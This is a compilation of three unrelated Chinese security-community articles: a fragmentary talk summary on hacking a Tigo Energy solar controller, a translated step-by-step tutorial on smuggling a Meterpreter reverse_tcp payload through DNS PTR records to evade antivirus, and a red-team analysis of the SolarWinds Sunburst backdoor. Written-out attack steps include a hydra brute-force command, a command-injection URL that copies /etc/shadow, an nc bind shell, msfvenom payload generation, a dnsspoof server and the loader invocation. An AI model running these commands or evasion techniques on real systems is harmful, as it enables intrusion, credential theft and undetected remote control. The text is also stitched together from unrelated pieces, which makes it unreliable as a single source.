TigoEnergy ® Maximizer™ Management
管理单元通过蓝牙管理独立的太阳能面板,可以远程关闭独立的太阳能板块,然后把太阳能的性能报告传送到云端。
通过网络攻击点有WIFI访问点,HTTP/SSH/串口/DHCP,还有一个不知道的5200
udp端口,物理攻击的话可以通过uBoot/Console/Rs-489/应急按钮。通过shodan大概找到了160个设备
然后通过hydra -l admin –P rockyou.txt-v
http://192.168.1.10:80/破解登录口令,登录进去后发现一个命令执行漏洞
http://192.168.1.2/cgi-bin/network?host=TIGO2; cp/etc/shadow
/mnt/ffs/var/lmudcd.foreign_lmus,然后通过读取到的/etc/shadow中的哈希,没有破解出来密码。后来直接利用nc绑定一个shell,
技术是简单的,后面更多的是演讲者和厂商关于漏洞修补和沟通的狗血剧情。 | 社区文章 |
# 【技术分享】通过DNS传输后门来绕过杀软
|
##### 译文声明
本文是翻译文章，文章来源：linkedin.com
原文地址：<https://www.linkedin.com/pulse/bypassing-anti-viruses-transfer-backdoor-payloads-dns-mohammadbagher>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[江南忆](http://bobao.360.cn/member/contribute?uid=2829645635)
预估稿费：200RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**
**
**前言**
在本篇文章里，我想解释怎么样不使用加密数据的方法也能绕过杀软，同时我也想在github上分享源代码。<https://github.com/DamonMohammadbagher/NativePayload_DNS>
我想使用DNS协议来传输我的后门载荷，从攻击者的机器到客户端机器。这种情况下，我们的后门代码就不需要是硬编码的或者加密的了。
因此被杀软检测出来的风险就很低了。
**为什么是DNS协议？**
因为在大多数的网络里DNS流量都是有效的，IPS/IDS或者硬件防火墙都不会监控和过滤DNS流量。我知道你可以使用SNORT
IPS/IDS或者类似的东西来检测DNS流量，但是在DNS流量里使用特征检测出新的载荷非常困难。当然网络管理员也有可能这么做。
本篇文章我想给你展示一个在DNS的请求和回应流量里隐藏你的载荷的方法。
**漏洞点在哪儿呢？**
如果你想要在后门文件中利用非加密或者无硬编码的攻击负荷，比如现在这种情况，你需要利用像http,DNS
…这样的网络协议把攻击负荷从你的系统传送到目标机上。这种情况下，我们想通过DNS协议传送攻击负荷，并同时在目标机器的内存里执行这些攻击载荷。因此漏洞点在于攻击载荷的位置，还在于杀软检测恶意样本的方式。因为在这种情况下，我们不会保存攻击载荷到文件系统，载荷只是在内存里，流量里。
很不幸运的是，各种杀软为检测恶意代码，监控网络流量，监控及扫描内存的，却不是很有效。甚至大多数杀软不管是否有IPS/IDS特性，都是根本无效的。
例子：后门载荷隐藏在拥有PTR记录和A记录的DNS域中。
图 1：DNS域(IP地址到DNS全称域名)
注：图片一的红色翻译：
第一行：Meterpreter载荷的第一行数据 {载荷}.1.com
左下方：时间设置，后门核心代码每十分钟重连一次攻击者，每5分钟建立一次连接。1.1.{10}.{5}
右下方：绕过比如像Snort对DNS流量的基于特征检测攻击载荷的好办法(可能);-)，拆分攻击载荷到1-5记录。你可以利用NSLOOKUP来还原这些记录，每隔一段时间比如(每2分钟：获取一个记录)
正如你所见，这个DNS域中，我有两个很像是全称域名的PTR类型的记录，隐藏了Meterpreter载荷。还有两个PTR类型的记录保存了后门重连的时间设置，还有一个A类型的记录也是保存了时间设置。
拆分载荷数据到记录! 如果你想绕过防火墙或者IPS/IDS对DNS流量的基于特征的检测。
拆分的一个好办法是，把你的攻击载荷拆分到PTR类型的DNS记录里，或者其他你可以加密载荷并使用的协议里。这取决于你和你的目标网络。
正如图1里，我把Meterpreter载荷的第一行数据拆分到5个记录里。因此这些记录里的载荷等于记录1.1.1.0。
例子: 1.0.1.0 + 1.0.1.1 + 1.0.1.2 + 1.0.1.3 + 1.0.1.4 = 1.1.1.0。
在客户端，你可以使用其他的工具或者技术，从假冒的DNS服务器获取还原出这些载荷。不过，我打算利用NSLOOKUP命令行实时获取，因为我觉得这比较简单。
在图片2，我尝试用NSLOOKUP工具测试假冒的DNS服务器到客户端的DNS流量。
图片2：Nslookup命令及DNS流量测试。
注：图2里的红色翻译如下：Meterpreter载荷通过DNS协议传输的流量。现在怎么检测呢？有思路吗？
现在我要讲下，怎么样在Linux里创建假冒的DNS服务器，以及Meterpreter载荷如何保存拆分到DNS记录。最后我要利用我的工具NativePayload_DNS.exe来执行这些载荷，并得到一个Meterpreter连接会话。
步骤1:一步步的创建拥有Meterpreter载荷的假冒DNS服务器：
本步骤中，你可以利用Msfvenom创建一个Meterpreter载荷，像图片4中那样。并把载荷一行一行的拷贝到dns.txt文件中，然后利用DNSSpoof在Kali
Linux中创建一个假冒的DNS服务器。
不过我首先展示EXE模式的Meterpreter载荷，并用所有的杀软测试，然后你会发现绝大多数杀软都可以检测出来。
为什么我要展示着一点呢？
因为我想表明给你看，同一个攻击载荷，用两种技术，一是EXE模式，二是DNS传输。你会看到杀软可以检测出EXE模式的载荷，但是不能检测出利用第二个技术”DNS传输”的载荷。但我们知道这两种方法是同一个载荷。
例子1 , EXE模式的载荷: msfvenom –-platform windows –arch x86_64 –p
windows/x64/meterpreter/reverse_tcp lhost=192-168-1-50 –f exe >
/root/Desktop/payload.exe
下边图3你会看到，我的EXE模式的载荷被11款杀软检测出来了。
图3：EXE模式的载荷被检测出来了。
好了，现在该用第二种技术了，生成载荷时使用了C类型。
例2 , 第二种技术DNS流量: msfvenom –-platform windows –arch x86_64 –p
windows/x64/meterpreter/reverse_tcp lhost=192-168-1-50 –f c >
/root/Desktop/payload.txt
生成payload.txt文件后，必须把载荷拷贝到dns.txt，按照图4里的格式，一行一行的拷贝。这非常重要，必须保证dns.txt有正确的格式。因为Linu里的Dnsspoof要用到，格式如下：
IP地址 “{载荷}.域.com”
1.1.1.0 “0xfc0x480x830xe40xf00xe8.1.com”
1.1.1.1“0xbc0xc80x130xff0x100x08.1.com”
在这种情况下，因为我的C#后门定制化的用到了域名"1.com"，我们必须使用这个名称作为域名。或者像其他"2.com"，"3.net"，"t.com"，再或者一个字符加".com"作为域名。
所以在这种情况下，IP地址” 1.1.1.x” 里的x就是dns.txt文件里的载荷行数，
1.1.1.0 --> payload.txt里的0行 --> “{载荷0}.1.com”
1.1.1.1 --> payload.txt里的1行 --> “{载荷1}.1.com”
1.1.1.2 --> payload.txt里的2行 --> “{载荷2}.1.com”
图4：生成假冒的DNS服务器和Meterpreter载荷的步骤1
生成后的dns.txt文件应该如下图5。
图5：dnsspoof用来假冒DNS服务器的Dns.txt文件
好了，现在利用dnsspoof在Linux里生成假冒的DNS服务器，像下图6一样。
图6：dnsspoof工具
在步骤2中，我们需要一个后门，从假冒的DNS服务器下载攻击载荷，利用的是DNS协议。
在这种情况下，我编写了C#代码来干这件事。我的代码里使用了nslookup.exe发送DNS请求，最终我的代码捕获到了DNS PTR类型回应里的后门载荷。
C# 源代码链接: <https://github.com/DamonMohammadbagher/NativePayload_DNS>
步骤2：
源代码编译后，生成的exe，按照如下的命令语法执行：
命令语法: NativePayload_DNS.exe “起始IP地址” 计数 “假冒DNS服务器IP地址”
例如: C:> NativePayload_DNS.exe “1.1.1.” 34 “192.168.1.50”
起始IP地址：是你PTR记录里的第一个IP地址，不包含最后一节。对于域名ID { 1 . 1 . 1 . }你需要输入三个1.作为参数。
计数：是DNS PTR类型记录的个数，在这种情况下，我们dns.txt 文件里的1.1.1.0 …. 1.1.1.33，所以这个计数是34。
假冒DNS服务器IP地址：是我们或者说是攻击者的假冒的DNS服务器IP地址，在这种情况下，我们的kali linux ip地址是192-168-1-50。
在执行后门之前，你要记住，必须确保kali linux里的Metasploit监听在IP地址192-168-1-50。
现在你可以像图7一样执行后门了：
NativePayload_DNS.exe 1.1.1. 34 192.168.1.50
图7：NativePayload_DNS 工具
正如图7里，后门尝试发送DNS请求IP地址1.1.1.x，并得到了PTR或者FQDN类型记录的回应。在下一张图里，你会发现客户端和假冒DNS服务器之间的网络流量。
图8：利用DNS流量传送Meterpreter载荷
最终34个记录倒计时完成之后，你会在攻击者那端得到一个Meterpreter连接会话，像图9里的。而且不幸的是，我的杀软没检测出来这种技术。我认为大多数的杀软都无法检测出来，如果你用其他杀软测试了这个技术，请在评论里留言告诉我结果，还有哪款杀软和版本;)。谢谢你伙计。
图9：利用DNS协议的Meterpreter会话连接
你会看到我的杀软再一次被绕过了;-)，这是用所有杀软扫描我的源代码的结果，你可以比较图3和图10。两个后门使用同样的载荷。
图 10: NativePayload_DNS (AVs结果 = 0 被检测)
下张图你会看到C#源代码使用了NSLOOKUP工具的背后究竟发生了什么。
图11：Nslookup 和 UDP连接
最终你会在tcpview和putty里看到我的Meterpreter会话，见下图：
图12：Tcpview以及TCP有效连接，当后门载荷被从假冒的DNS服务器下载下来后。
在图13里，你同样可以看到Meterpreter会话：
图13：Meterpreter会话。
一目了然：你不能相信杀软总是可以防范网络中攻击载荷的传输，如果通过这种技术或者其他的方法来传送攻击载荷的话，哪怕是使用其他协议。你的网络和客户端/服务器是很脆弱的。所以请用你自己的杀软测试这个技术，并分享你的经验，在评论里留言告诉我(也许这件事我说错了，也许没有)。 | 社区文章 |
**作者：蓝军高级威胁团队@深信服千里目安全实验室
原文链接：<https://mp.weixin.qq.com/s/wtEbawfOd1g_T2ovp1SaGg>**
## 1.针对SolarWinds供应链攻击简介
最近FireEye披露的UNC2452黑客组织入侵SolarWinds的供应链攻击让安全从业人员印象深刻。一是影响规模大，SolarWinds官方称受影响的客户数量可能有18000家。二是攻击者留下的后门程序-Sunburst，十分隐蔽和具有迷惑性，分析认为攻击者对SolarWinds Orion产品理解程度很深。
有证据表明，早在2019年10月，UNC2452黑客组织就一直在研究通过添加空类来插入代码的能力。因此将恶意代码插入原始SolarWinds.Orion.Core.BusinessLayer.dll的时间可能很早，甚至可能是在软件构建编译之前。这就导致SolarWinds官方无意间对包含4000行恶意代码的DLL进行了数字签名，这样容易让恶意代码提升权限，并且很难被人发现。感染的Origin软件第一个版本是2019.4.5200.9083，在此几个月的时间内，用户通过下载受到感染的产品版本被感染。目前原始dll文件中没有发现存在动态拓展、也不存在横向移动等后渗透阶段的相关能力支持。
## 2.Sunburst后门总体流程
总体流程图
（Sunburst的供应链攻击各阶段-图源:微软）
Sunburst后门总体流程可以简单地概括为以下几个阶段：
(1)SolarWinds.BusinessLayerHost.exe加载SolarWinds.Orion.Core.BusinessLayer.dll，并执行其中的恶意代码。
(2)代码通过9层环境检查，来判断当前环境上下文是否安全，是否应该继续执行。
(3)如果检查通过，尝试使用DGA算法生成的域名发送DNS上线通知，并检查DNS解析结果是否满足自身运行要求。
(4)DNS上线通知成功，则会尝试使用两种User-Agent和3种代理模式，与C2服务器建立起HTTP控制通道。
(5)Sunburst后门本身能处理的控制指令并不多，攻击者可以下载自定义的Payload，例如Cobalt Strike
beacon，即TEARDROP进行进一步操作。
Sunburst后门的代码都在SolarWinds.Orion.Core.BusinessLayer.dll这个文件中，这是个C#编写的.NET
assembly，可以直接反编译查看源代码，分析其运行逻辑。主要涉及的三项技术为代码执行（Execution）、环境检测（Discovery）和C2通信（Command
and Control）。
## 3.TTPs提取与分析
### 3.1 代码执行/Execution
#### 3.1.1红队视角
无论是红队后渗透还是真实APT攻击，第一步要在受害者的机器上运行起来控制程序（agent/implant/artifact）。Windows系统上的代码执行的方法有很多，也可以从多种角度进行分类和总结。这里作者将之分为以下三类：
(1)BYOB: Bring Your Own
Binary，就是把后门、工具、武器编译成exe文件，上传到目标主机上并运行。这也是最直接的执行方式。缺点是需要不断的编译和上传、要处理杀软和EDR的静态检测等等。
(2)LotL: Living off the
Land，可以理解为就地取材，利用Windows系统和应用程序来加载执行恶意代码，典型的案例就是利用powershell的攻击。这种方式利用白名单程序来加载，会有一定规避检查的优点，但会产生明显的父子进程关系和进程参数，容易被猎捕。
(3)BYOL: Bring Your Own
Land，这也是FireEye提出的一种方法，在使用前两种方法建立了基本的代码执行能力后，在内存中加载并运行Windows的PE文件、.NET
assembly文件。优点是跳过了静态文件查杀，不会明显产生进程间调用关系和进程调用参数，缺点是需要自己开发内存加载执行的代码，很多常规的命令需要自己重新实现。
#### 3.1.2 Surburst实际攻击技巧
本次供应链攻击的Sunburst后门存在于SolarWinds.Orion.Core.BusinessLayer.dll文件中，它的运行需要SolarWinds.BusinessLayerHost.exe这个合法的进程来加载，可以理解为是一种变形的Living
off the Land执行方法。类似于DLL劫持，但相比于常规的DLL劫持，这类修改原始DLL的供应链攻击后门显得更加隐蔽。往往有以下特点：
(1)修改原有的DLL，不会产生多余的DLL文件落地
(2)程序加载DLL运行，不会产生子进程和进程参数
(3)供应商的信任进程不在常规进程检测名单，已知Windows lolbins检测规则无效
本次的DLL后门，可以看到作者很注重隐蔽(OpSec)，代码中透露着检测对抗的思想，其隐蔽技巧表现为：
(1)DLL合法的数字签名，很大程度上规避了静态文件查杀:
(2)代码通过创建新线程,执行SolarWinds.Orion.Core.BusinessLayer.dll.OrionImprovementBusinessLayer库目录下的Initialize函数开始恶意动作。DLL入口函数调用栈较深，通过6层的调用才开始执行代码，动态跟踪需要花费更多精力:
(3)代码使用自定义hash算法，常量字符串都进行hash处理，避免敏感字符串在传输流量和本地文件扫描时发现。实际使用的地方有9处，下图是进程名检测部分:
### 3.2 环境检测/Discovery
#### 3.2.1 红队视角
红队技术传统技术往往高度关注进程列表检测、驱动列表检测的技巧：
3.2.1.1 进程检测
对于杀软和安全软件的检测，我们通常使用taskllist /v和tasklist
/svc来检查进程和服务，可以认为这是一种手工判断+LotL的方法。这里推荐两款自动化的检测脚本和工具，大家可以根据自己的需求进行改造，结合内存加载实现BYOL的方式来检查安全软件。
(1)ProcessColor.cna，一款Cobalt Strike的插件脚本，可以帮助我们标记出常见的安全软件、监控软件、分析软件。
(2)Seatbelt的InterestingProcesses命令，C#开发的多功能信息搜集工具，可单独使用，可结合其他程序实现内存加载。
3.2.1.2 驱动检测
既然进程和服务都检测了，那么检测这些驱动有什么意义吗？
在常规的情况下，检查进程和服务名称就可以了解当前系统的安全软件运行情况，但是一些高级系统管理员会修改进程和服务的名称，我们就没办法判断了。Sunburst后门在环境检测中还检查了系统驱动，这些驱动大部分都是杀软和EDR产品使用的。这一点是值得红队人员借鉴的，下面以sysmon为例进行说明。
图中左侧为常规的sysmon安装，我们可以在进程和服务中找到sysmon。右侧只是简单地把sysmon进行重命名，安装之后我们在进程和服务的名字中已经找不到sysmon了，只能找到修改后的名称。这个时候查看驱动就很必要了，因为sysmon默认安装的驱动路径和名字并没有改变，如下图：
即使管理员在安装sysmon的时候将默认的驱动名称也改了，但是每个驱动都有一个唯一的altitude，要修改这个成本就很高了。sysmon的altitude是385201，如下图，可以对比上图，这个是不变的：
#### 3.2.2 Sunburst实现的机制
SolarWinds.Orion.Core.BusinessLayer.dll中的恶意代码对于运行环境的检查十分严格，一共有9层检测机制，只有当所有检测条件都通过时，其才会执行上线操作。
序号 | 检测机制
---|---
1 | 通过哈希判断当前加载恶意DLL的进程名字是solarwinds.businesslayerhost.exe
2 | 恶意DLL的最后写入时间比当前时间至少提前12到14天，说明其会潜伏半个月左右才会执行
3 | 检查硬编码的命名管道583da945-62af-10e8-4902-a8f205c72b2e，避免多进程重复执行
4 | 检查恶意复用的配置选项ReportWatcherRetry，ReportStatus项不能为3，即Truncate退出状态
5 |
检查当前设备所在域，域名中不能包含哈希值校验的黑名单patternHashes中的一些字符串；域名不能匹配到正则表达式“(?i)([^a-z]|^)(test)([^a-z]|$)”，该表达式主要用来检查当前域名是不是测试用的域名；"(?i)(solarwinds)"，猜测该表达式主要用来检测是否处于sloarwinds公司办公环境
6 | 检查第一个非回环启用网卡，不在IP黑名单中
7 | 检测进程Hash黑名单(含137个进程)，确保当前环境中没有安全相关软件和服务程序，如：Windbg、 Autoruns、
Wireshark，并尝试关闭服务名单中的服务
8 | 检查当前环境中是否存在13个安全软件的驱动程序，如：groundling32.sys
9 | 主机解析“api.solarwinds.com”为指令的IP地址
### 3.3 C2通信/Command and Control
代码运行起来，检测环境上下文是安全的，最后的一步就是和C2服务器进行通信了。Sunburst后门通过自定义的DGA算法生成C2域名，通过自定义DNS通道进行上线通知，通过自定义HTTP通道进行指令下发与数据回传。
#### 3.3.1 红队视角
对于红队来说，最常规的出网协议是HTTP[S]和DNS协议，但是大多数情况是手动判断目标的网络环境后来选择C2通信的方式。虽然能够修改和自定义C2通信协议，无疑是规避流量检测的好方法，但是相对的成本会比较高，需要同时兼顾客户端和服务端，还需要保证通信质量。简易的做法是利用后渗透框架自身的配置来修改C2流量特征，比如Cobalt
Strike、Empire、Covenant等工具都支持Malleable C2 profile的配置。
Sunburst后门这种使用DNS和HTTP协议结合的方式，让作者想起了Sliver C2这款工具的DNS Canary功能。虽然DNS
Canary不是用来进行C2通信的，但是提供了一种红队监测蓝队是否分析了自己implant的思路。
Sliver C2生成的implant默认会使用符号混淆来避免杀软查杀，不会出现敏感字符串。但是当使用--canary/-c参数时，会将指定的DNS域名以常量字符串的形式嵌入implant中。并生成一个独一无二的DNS域名，如果蓝队人员分析我们的implant，发现这个域名，只要逆行了DNS解析，我们的C2服务器就会收到DNS查询请求，这说明我们的行动已经被发现。
如下图，红队人员在创建implant的时候，设置DNS
canary为mews.cs.local，在生成的implant中，嵌入了mqrrzkj.news.cs.local.和kvn3g0-.news.cs.local两个域名。
当蓝队分析样本，尝试解析域名时，C2服务器就会收到告警。
告警信息如下：
#### 3.3.2 Sunburst后门在该阶段的亮点
(1)很具有迷惑性的DnsRecords代码，用常规的变量名表达其他实际意义。
(2)对DGA生成的域名解析的IP地址，进行白名单、黑名单、等待名单的判断，确定网络解析环境是否安全才会继续执行。
(3)HTTP协议的一种User-Agent会采用SolarWinds产品的User-Agent，更加接近真实可信的流量。
(4)出网会检测代理设置，通过无代理、系统代理和SolarWinds本身配置的代理三种方式是尝试出网，连接C2服务器。
(5)高度迷惑性的C2服务器响应。
(6)高度迷惑性的DGA算法。
上述动作的具体表现为：
(1)具有高度迷惑性的DNS上线请求：恶意代码发送DNS请求并将返回的CNAME信息将保存至DnsRecords对象。
DNS查询如果请求失败，则设置随机7-9小时的休眠时间（代码如下图），进行休眠后再进行下一次尝试。
如请求成功，则首先判断是否存在CNAME信息，如不存在，则处理IP的最后两个字节，修改DnsRecords对象对应的字段：
length字段，此字段用于保存控制阶段应用的代理类型；
_type字段，此字段决定控制阶段使用的url以及对返回数据的解码方式；
A字段，此字段决定DNS请求查询阶段每次DNS请求之间的延时。
(2)对DGA生成的域名解析的IP地址，进行白名单、黑名单、等待名单的判断：检测到IP处于任一黑名单，将导致状态更改为Truncate，从而导致后续操作全部终止，并作标记此后不再尝试。IP黑名单列表：
IP地址 | 子网掩码 | AddressFamilyEx类型
---|---|---
10.0.0.0（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=10.0.0.0)） |
255.0.0.0 | Atm内网IP黑名单
172.16.0.0（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=172.16.0.0)） |
255.240.0.0 | Atm内网IP黑名单
192.168.0.0（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=192.168.0.0)）
| 255.255.0.0 | Atm内网IP黑名单
224.0.0.0（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=224.0.0.0)） |
240.0.0.0 | Atm内网IP黑名单
fc00::（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=fc00)） | fe00:: |
Atm内网IP黑名单
fec0::（[ZoomEye搜索结果]()） | ffc0:: | Atm内网IP黑名单
ff00::（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=ff00)） | ff00:: |
Atm内网IP黑名单
41.84.159.0（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=41.84.159.0)）
| 255.255.255.0 | Ipx外网黑名单
74.114.24.0（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=74.114.24.0)）
| 255.255.248.0 | Ipx外网黑名单
154.118.140.0（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=154.118.140.0)）
| 255.255.255.0 | Ipx外网黑名单
217.163.7.0（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=217.163.7.0)）
| 255.255.255.0 | Ipx外网黑名单
20.140.0.0（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=20.140.0.0)） |
255.254.0.0 | ImpLink等待名单
96.31.172.0（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=96.31.172.0)）
| 255.255.255.0 | ImpLink等待名单
131.228.12.0（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=131.228.12.0)）
| 255.255.252.0 | ImpLink等待名单
144.86.226.0（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=144.86.226.0)）
| 255.255.255.0 | ImpLink等待名单
8.18.144.0（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=8.18.144.0)） |
255.255.254.0 | NetBios白名单
18.130.0.0（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=18.130.0.0)） |
255.255.0.0 | NetBios白名单
71.152.53.0（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=71.152.53.0)）
| 255.255.255.0 | NetBios白名单
99.79.0.0（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=99.79.0.0)） |
255.255.0.0 | NetBios白名单
87.238.80.0（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=87.238.80.0)）
| 255.255.248.0 | NetBios白名单
199.201.117.0（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=199.201.117.0)）
| 255.255.255.0 | NetBios白名单
184.72.0.0（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=184.72.0.0)） |
255.254.0.0 | NetBios白名单
上述表格中Atm代表内网IP黑名单，ImpLink代表外网IP黑名单，Ipx代表等待名单，NetBios代表白名单。如果返回的IP处于任一黑名单，则恶意代码退出并且设置标记永不再上线。
在进行进程、服务、驱动状态检查通过后，然后还会解析官方域名“api.solarwinds.com”判断是否为指定IP地址，如检验通过则进入后续的感染逻辑，整个逻辑可以用下图表示：
(3)高度迷惑性的User-Agent：当恶意代码从C2域名的CNAME
DNS响应中成功检索到域，将产生一个新的执行线程，调用HttpHelper.Initialize方法来与C2服务器通信。
HttpHelper的构造函数会处理由DNS请求查询阶段决定的请求类型与代理类型，两种User-Agent，在正常情况下，第一种会用于Windows检查证书吊销列表。
第二种用于SolarWinds本身的通信过程，将伪装为SolarWinds正常请求链接或静态资源。
(4)高度迷惑性的代理配置：出网代理主要分为三类，无代理、系统代理和红色箭头标明的SolarWinds本身配置的代理，从这点也可以看出黑客组织对于SolarWins的了解的确十分深入。
最后组成了一个JSON文本，在其中添加了前面描述的userID，sessionID和一组其他不相关的数据字段。然后它将此JSON文档发送到C2服务器。
(5)高度迷惑性的C2服务器响应：如果C2通信成功，C2服务器将回复编码压缩后的数据，该数据中包含后门要执行的命令。C2服务器可能还会回复有关要报告的其他C2地址的信息：
实际的服务器控制执行代码在Job.ExecuteEngine函数中。以下是黑客C2服务器对远端受害主机控制命令的类型和功能：
命令 | 值 | 详细描述
---|---|---
空闲 | 0 | 无
退出 | 1 | 结束当前进程
设置延迟时间 | 2 | 设置主事件循环执行的延迟时间
收集系统信息 | 3 | 解析本地系统信息，包括主机名、用户名、操作系统版本、MAC地址、IP地址、DHCP配置和域信息
上传系统信息 | 4 | 向指定的URL发送HTTP请求，并把系统信息以特殊格式发送到C2服务器
启动新任务 | 5 | 根据文件路径和参数启动新进程
枚举进程信息 | 6 | 获取进程列表，并根据参数决定是否获取父进程ID、用户名、域名
结束任务 | 7 | 根据PID结束指定进程
枚举文件信息 | 8 | 根据文件路径枚举文件和目录
写入文件 | 9 | 根据文件路径和Base64编码字符串，将Base64解密字符串的内容以追加模式写入文件，写入后延迟1-2秒
判断文件是否存在 | 10 | 判断文件路径是否存在
删除文件 | 11 | 根据文件路径删除文件
获取文件哈希 | 12 | 获取文件的MD5哈希信息
读注册表值 | 13 | 读取注册表值
设置注册表值 | 14 | 设置注册表值
删除注册表值 | 15 | 删除注册表值
获取注册表子项和值 | 16 | 获取注册表路径下的子项和值名称的列表
重启 | 17 | 尝试使系统重启
(6)高度迷惑性的DGA算法：
如果样本通过上述阶段，则样本将在while循环中通过DGA算法开始生成域。样本会延迟域生成之间的随机间隔；此时间间隔可以是1到3分钟，30到120分钟或在错误条件下最长420到540分钟（9小时）范围内的任意随机值。
总共用四种方法来生成url，分别为GetCurrentString，GetPreviousString，GetNextStringEx和GetNextString函数。
下图是四种方法的调用条件，以及会组成的URL的第一段格式如上图。这里需要了解一个变量和两个算法，才能对DGA的算法生成过程更加了解。一个变量是GUID,两个加密算法即CryptoHelper.Base64Encode和CryptoHelper.Base64Decode。
其中GetCurrentString/GetPreviousString可以认为是第一阶段DGA，包含可以完整解析的域名，GetNextStringEx/GetNextString可以认为是第二阶段DGA，包含了有效的服务器时间戳等信息。
不管哪种生成方式，在OrionImprovementBusinessLayer.GetOrCreateUserID中，HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography的
MachineGuid值和第一个网络适配器的物理地址MAC组成了UID，并通过计算UID的MD5哈希，再用ComputeHash类的方法将 MD5
哈希值作为16字节的数组返回，异或之后最终输出64位哈希值这样得到目标GUID。GUID通过CreateSecureString函数进行加密，CreateSecureString函数中使用了CryptoHelper.Base64Encode算法加密。所以整个加密过程全是CryptoHelper.Base64Encode函数和CryptoHelper.Base64Decode函数实现的，研究的重点就是CryptoHelper.Base64Encode函数和CryptoHelper.Base64Decode函数。然而这两个函数都并不是名称表示的常见的Base64编解码函数。
CryptoHelper.Base64Decode其实是自定义的加密算法。
CryptoHelper.Base64Encode其实是自定义映射表的Base32算法。
下图是GetCurrentString/GetPreviousString函数加密方式中以CryptoHelper.Base64Decode加密域名的方式生成的URL。蓝色的表示会随机变化，黑色表示固定不变。紫色00带有下划线代表是此种加密方式的标志位。
一、前15个字节是GUID被加密过后的编码0fn7oe4cegrf933
二、中间一个字节是通过CreatString生成的“c”
三、后面的mudofi75f4tjvh则是AD域被编码后的字符串。
因为这里十六个字节过后有“00”开头的标志，所以可以断定应该调用OrionImprovementBusinessLayer.CryptoHelper.Base64Decode对应的解码算法。解码后可以得到域名称：WASHO。
下图就是通过GetNextStringEx和GetNextString函数加密的方式生成的URL。对照上图其实如果没有“00”标志，这种URL形式和GetCurrentString/GetPreviousString函数加密方式中以CryptoHelper.Base64Encode加密域名的方式是很像的，所以这种直接使用CryptoHelper.Base64Encode对应的解码算法即可，最终得到spsd.sk.ca域名。
安全研究员@bambenek在其[Github](https://github.com/bambenek/research/blob/main/sunburst/uniq-hostnames.txt)上公布了1722个疑似与此次攻击事件相关的DGA域名:
通过上述DGA域名格式解析，我们仅提取最有价值的以“.”分隔的第一段看起来杂乱无序的编码尝试进行逆向解密，如下是解密结果的部分展示，可以发现此次黑客攻击目标的组织数量巨大，包括多数大型美国政府和企业的常见域名。
因为GUID是通过MD5计算出来的，所以要想还原MAC地址是不可能的，但这并不代表GUID就没有价值。FireEye在其GitHub上发布的DNS请求内部包含以下加密的GUID：
我们在解密出的文档中搜索发现同样的规律：
r1q6arhpujcf6jb6ervisu10odohu0it.appsync-api.us-west-2.avsvmcloud.com
domain name part GUID (0x2956497EB4DD0BF9) offset 0 = central.pima.g
0oni12r13ficnkqb2w.appsync-api.us-west-2.avsvmcloud.com
domain name part GUID (0x2956497EB4DD0BF9) offset 35 = ov
r8stkst71ebqgj66ervisu10bdohu0gt.appsync-api.us-west-2.avsvmcloud.com
domain name part GUID (0x683D2C991E01711D) offset 0 = central.pima.g
ulfmcf44qd58t9e82w.appsync-api.us-west-2.avsvmcloud.com
domain name part GUID (0x683D2C991E01711D) offset 35 = ov
617stsr6ntep0auho2v60be2h.appsync-api.us-east-2.avsvmcloud.com
domain name part GUID (0x92EB3D64B8A03CB) offset 35 = ions.com
由此可见相同GUID可以作为域名长度过长时进行分割的子串，逆向拼接即可形成完整的域名。
## 4.总结
本文从红队的视角分析了Sunburst后门中的TTPs，其后门实现逻辑可以看出攻击者把安全隐蔽(OpSec)放在了第一位，虽然其中很多技术是恶意软件本身的技巧，但是涉及的一些思想和TTPs对红队建设仍有很大参考价值，也透露出现阶段红队技巧和第一梯队APT组织实战攻击技巧的差距。红队行动首先就要制定策略，是隐蔽优先还是速度优先。但是无论哪种策略，OpSec始终是红队人员的必修课。
## 5.附：Sunburst环境检测阶段的黑名单
### 5.1 域名黑名单
HASH | 归属地
---|---
1109067043404435916UL | 'swdev.local'(SolarWinds本地设备)
15267980678929160412UL | 'swdev.dmz'(SolarWinds Development DMZ)
8381292265993977266UL | 'lab.local'(本地实验室)
3796405623695665524UL | 'lab.na'(SolarWinds 北美办公室)
4578480846255629462UL | 'lab.brno'(SolarWinds Brno 办公室)
8727477769544302060UL | 'emea.sales'(EMEA Sales)
10734127004244879770UL | 'cork.lab'(SolarWinds Cork 办公室)
11073283311104541690UL | 'dev.local'(Development)
4030236413975199654UL | 'dmz.local'(Demilitarized Zone)
7701683279824397773UL | 'pci.local'(PCI)
5132256620104998637UL | 'saas.swi'(SaaS SolarWinds)
5942282052525294911UL | 'lab.rio'(SolarWinds Rio办公室)
16858955978146406642UL | 'pac.lab'(SolarWinds APAC 办公室)
### 5.2 进程黑名单
HASH | 软件名称
---|---
2597124982561782591UL | apimonitor-x64 (Rohitab病毒分析软件)
2600364143812063535UL | apimonitor-x86 (Rohitab病毒分析软件)
13464308873961738403UL | autopsy64 (AutopsyForensics)
4821863173800309721UL | autopsy (AutopsyForensics)
12969190449276002545UL | autoruns64 (Autoruns病毒分析软件)
3320026265773918739UL | autoruns (Autoruns病毒分析软件)
12094027092655598256UL | autorunsc64 (Autoruns病毒分析软件)
10657751674541025650UL | autorunsc (Autoruns病毒分析软件)
